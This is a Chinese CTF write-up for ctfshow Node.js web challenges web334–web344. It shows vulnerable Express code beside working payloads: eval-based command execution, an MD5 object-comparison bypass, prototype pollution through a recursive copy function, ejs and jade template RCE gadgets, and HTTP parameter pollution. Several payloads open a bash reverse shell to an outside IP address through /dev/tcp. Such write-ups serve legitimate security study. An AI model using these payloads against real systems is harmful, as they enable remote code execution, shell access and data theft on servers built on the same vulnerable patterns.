WEB入门——nodejs
web334 JS大小写特性
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
要求输入小写的:
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
特性:
Character.toUpperCase()函数,字符ı会转变为I,字符ſ会变为S
Character.toLowerCase()函数,字符İ会转变为i,字符K会转变为k
web335 JS 的 RCE
源代码发现:
<!-- /?eval= -->
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为eval(string)如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function
查看nodejs文档的child_process
child_process.exec(command[, options][, callback])
?eval=require("child_process").execSync('ls')
?eval=require('child_process').execSync('ls').toString()
?eval=require("child_process")['exe'%2B'cSync']('ls')
?eval=require('child_process').spawnSync( 'ls', [ './' ] ).stdout.toString()
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls')
//读文件夹,读文件函数
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('./fl00g.txt','utf8');
//字符串拼接
?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B
?eval=require("child_process").execSync('nl fl00g.txt')
web336 有过滤的RCE
继上一题RCE,过滤了exec|load
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
web337 JS变量
js变量分为:值类型(基本类型)、引用数据类型(对象类型)
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
关键:
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
Payload:
a[x]=1&b[x]=2
原理:
a[x]=1&b[x]=2 相当于是说,a和b都是引用数据类型(对象类型)
那么在a+flag和b+flag 时,他们的结果就会都是[object Object]flag{xxx} ,那么md5值自然就是一样的了
//a,b是对象
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
返回:
[object Object]flag{xxx}
[object Object]flag{xxx}
web338 原型链污染
//routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
//utils/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
原型链利用点:
utils.copy(user,req.body);
需要通过json的格式发送
{"__proto__": {"ctfshow": "36dboy"}}

web339 原型链污染
//routes/login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
//utils/common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
区别:
if(secert.ctfshow===flag){
res.end(flag);
flag我们是不知道的,这里不能利用,但还是可以通过copy函数进行原型链污染。
思路1:
比上一题多了一个api.js文件:
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', {query: Function(query)(query)});
});
module.exports = router;
里有个严重问题:query 变量未定义
在 api.js 中,当执行 Function(query)(query) 时:JS 引擎找不到局部变量 query,于是沿着作用域链查找 → 最终在 Object.prototype 上找到 query,所以 query 的值就是我们注入的字符串
Function 是 JavaScript 的一个内置构造函数,用来动态创建函数
new Function([arg1, arg2, ...,] functionBody)
例子:
const add = new Function('a', 'b', 'return a + b');
console.log(add(2, 3)); // 输出: 5
试验:
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
var user = {};
body = JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user, body);
console.log(query);
console.log(Function(query)(query));
成功返回:
return 123
123
linux:
nc -lvp 8888
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}
在index界面POST之后直接POST访问api界面即可

成功连接:

思路2:
查看package.json看看服务器安装了什么库:
{
"name": "web334",
"version": "0.0.0",
"private": true,
"scripts": {
"start": "node ./bin/www"
},
"dependencies": {
"body-parser": "^1.19.0",
"cookie-parser": "~1.4.4",
"debug": "~2.6.9",
"ejs": "^3.1.5",
"express": "~4.16.1",
"express-session": "^1.17.1",
"http-errors": "~1.6.3",
"jade": "~1.11.0",
"morgan": "~1.9.1",
"session-file-store": "^1.5.0"
}
}
ejs@3.1.5 存在一个可以通过原型链污染触发的 RCE(远程代码执行)漏洞
用execSync回显:
{"__proto__": {"outputFunctionName": "_;return global.process.mainModule.require('child_process').execSync('cat /app/routes/login.js').toString();var __"}}
web340 原型链污染
login.js多了
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
可以看到,user.__proto__并不是Object.prototype,user.__proto__.__proto__才是
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
console.log(user.__proto__);
console.log(user.__proto__.__proto__);
返回:
{}
[Object: null prototype] {}
污染两层就行
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}}


web341 ejs rce
这次删除了api,此外login也改了
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
使用之前的ejs rce
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"');var __tmp2"}}}
web342 jade原型链污染
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/156.226.180.199/8888 0>&1\"')"}}}
发包的时候请求头中的“Content-Type”改为"application/json"

web343 jade原型链污染
同上
web344 HTTP参数污染
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
url 中不能包含大小写 8c、2c 和 逗号
总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
这里直接把要传的参都给url编码就可以了
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
双引号编码是%22,%2c正好也是逗号
可以把整体都编码
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d

浙公网安备 33010602011771号